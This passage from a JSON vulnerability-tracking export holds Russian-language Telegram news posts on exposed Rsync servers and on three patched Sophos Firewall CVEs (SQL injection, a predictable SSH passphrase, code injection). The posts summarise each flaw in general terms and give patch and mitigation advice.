\u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "97780513-035b-4166-b588-425c97a1d7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043e\u0431\u044b\u0447\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c SSH \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 WAN \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Sophos Central \u0438\u043b\u0438 VPN.\n\n\u0414\u043b\u044f \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0439 CVE-2024-12729 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u0433\u043e \u043f\u043e\u0440\u0442\u0430\u043b\u0430 \u0438 \u0432\u0435\u0431-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438.", "creation_timestamp": "2024-12-23T15:40:05.000000Z"}, {"uuid": "35fbf8a2-0d1e-4ab9-b2a3-47942cf3ad93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12728", "type": "seen", "source": "https://t.me/true_secator/6568", "content": "Sophos \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e\u0431 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u0442\u0440\u0435\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0435 Sophos Firewall, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 SSH-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 Sophos Firewall \u0432\u0435\u0440\u0441\u0438\u0438 21.0 GA (21.0.0) \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432 \u043d\u043e\u0432\u044b\u0445 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a:\n\n- CVE-2024-12727: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0434\u043e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0437\u0430\u0449\u0438\u0442\u044b \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b. \u0415\u0441\u043b\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0430 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Secure PDF eXchange (SPX) \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0440\u0435\u0436\u0438\u043c\u043e\u043c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 (HA), \u043e\u043d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0431\u0430\u0437\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0435\u0442\u043e\u0432, \u0447\u0442\u043e \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a RCE.\n\n- CVE-2024-12728: \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043d\u0435\u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0430\u044f \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 SSH \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430, \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u043a\u043b\u044e\u0447\u0435\u043d SSH, \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0434\u043b\u044f \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437-\u0437\u0430 \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u044b\u0445 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n- CVE-2024-12729: \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 User Portal. \u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.\n\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u043f\u043e \u0438\u0445 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0437\u0434\u0435\u0441\u044c -\u00a0KBA-000010084.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, Sophos \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u043e\u0431\u0445\u043e\u0434\u043d\u044b\u0435 \u043f\u0443\u0442\u0438 \u0434\u043b\u044f \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u044f \u0440\u0438\u0441\u043a\u043e\u0432, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 CVE-2024-12728 \u0438 CVE-2024-12729, \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0414\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f CVE-2024-12728 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u043e SSH \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u043e\u043c HA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0442\u0434\u0435\u043b\u0435\u043d \u043e\u0442 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0442\u0440\u0430\u0444\u0438\u043a\u0430, \u0438 \u043f\u0435\u0440\u0435\u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 HA, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u0438\u043d\u043d\u0443\u044e \u0438 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u0443\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0443\u044e \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u0443\u044e \u0444\u0440\u0430\u0437\u0443.\n\n\u0414\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e 